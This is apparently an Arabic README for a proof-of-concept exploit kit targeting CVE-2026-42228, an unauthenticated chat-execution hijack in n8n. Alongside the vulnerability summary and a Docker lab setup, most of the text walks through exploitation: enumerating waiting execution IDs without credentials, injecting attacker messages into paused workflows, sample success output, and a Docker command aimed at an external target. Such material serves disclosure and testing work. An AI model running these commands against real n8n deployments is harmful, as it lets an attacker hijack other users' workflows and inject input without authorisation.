GHSA-f77h-j2v7-g6mw — اختطاف تنفيذ الدردشة غير المصادق عليه في n8n

CVE: CVE-2026-42228
الخطورة: عالية
المتأثر: n8n < 1.123.32
تم الإصلاح في: n8n 1.123.32 / 2.17.4 / 2.18.1

ملخص الثغرة

يقبل chat-service.ts :: startSession() معرّف تنفيذ (executionId) من سلسلة استعلام WebSocket ويتحقق فقط من وجود التنفيذ في قاعدة البيانات. ولا يتحقق أبداً من أن المتصل مخوّل للوصول إلى ذلك التنفيذ.

يمكن لمهاجم غير مصادق يعرف (أو يمكنه تعداد) معرّف تنفيذ رقمي صالح لتنفيذ في حالة الانتظار أن:

1. يتصل بـ WebSocket /chat دون بيانات اعتماد.
2. يستقبل المطالبة المعلّقة المعروضة على مستخدم شرعي.
3. يحقن إدخال دردشة عشوائياً يستأنف — ويختطف — سير العمل.

المتطلبات المسبقة:

• سير عمل دردشة مستضافة عام مع Authentication = None نشط.
• يوجد تنفيذ واحد على الأقل حالياً في حالة waiting.
• يمكن للمهاجم تخمين أو تعداد معرّف التنفيذ الرقمي (أعداد صحيحة متسلسلة).

إعداد المختبر

المتطلبات

• Docker ≥ 24 مع Compose v2
• المنفذ 5678 متاح على localhost

الإعداد بأمر واحد

chmod +x exploit.sh
./exploit.sh setup

يقوم هذا بسحب n8nio/n8n:1.123.22 (آخر إصدار متأثر)، وبناء صورة المهاجم، وتشغيل الهدف الضعيف على http://localhost:5678.

شرح الاستغلال الكامل من البداية إلى النهاية

1. تكوين الهدف الضعيف

1. افتح http://localhost:5678 وأكمل معالج الإعداد (أي بيانات اعتماد).
2. أنشئ سير عمل جديد.
3. أضف عقدة Chat Trigger ← اضبط Authentication = None.
4. أضف عقدة Wait (أو أي عقدة تتوقف لإدخال المستخدم) بعد المشغّل.
5. فعّل سير العمل.

2. تشغيل تنفيذ في حالة الانتظار

افتح رابط الدردشة العام المعروض في عقدة Chat Trigger وأرسل رسالة. سيدخل التنفيذ في حالة الانتظار، متوقفاً بانتظار رد الدردشة التالي.

3. فحص التنفيذات في حالة الانتظار (بدون مصادقة)

./exploit.sh scan
# أو حدد نطاقاً:
./exploit.sh scan 1 500

المخرجات المتوقعة عند العثور على تنفيذ ضعيف:

[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. مهاجمة معرّف تنفيذ معروف مباشرة

./exploit.sh attack 7
# أو بحمولة مخصصة:
./exploit.sh attack 7 "custom injected message"

5. ملاحظة الاختطاف

بالعودة إلى محرر n8n، يستأنف سير العمل بالرسالة المحقونة من المهاجم بدلاً من إدخال المستخدم الشرعي.

أوامر Docker اليدوية

# بناء صورة المهاجم
docker build -t n8n-chat-hijack-poc .

# الفحص (الارتباط بشبكة المختبر المشتركة)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# مهاجمة تنفيذ محدد
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# ضد هدف خارجي (بدون الحاجة لعلم الشبكة)
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

التنظيف

./exploit.sh clean

يوقف الحاويات ويزيل وحدات التخزين (بما في ذلك قاعدة بيانات SQLite).

الملفات

المراجع

• GHSA-f77h-j2v7-g6mw
• سجل تغييرات إصدار n8n 1.123.32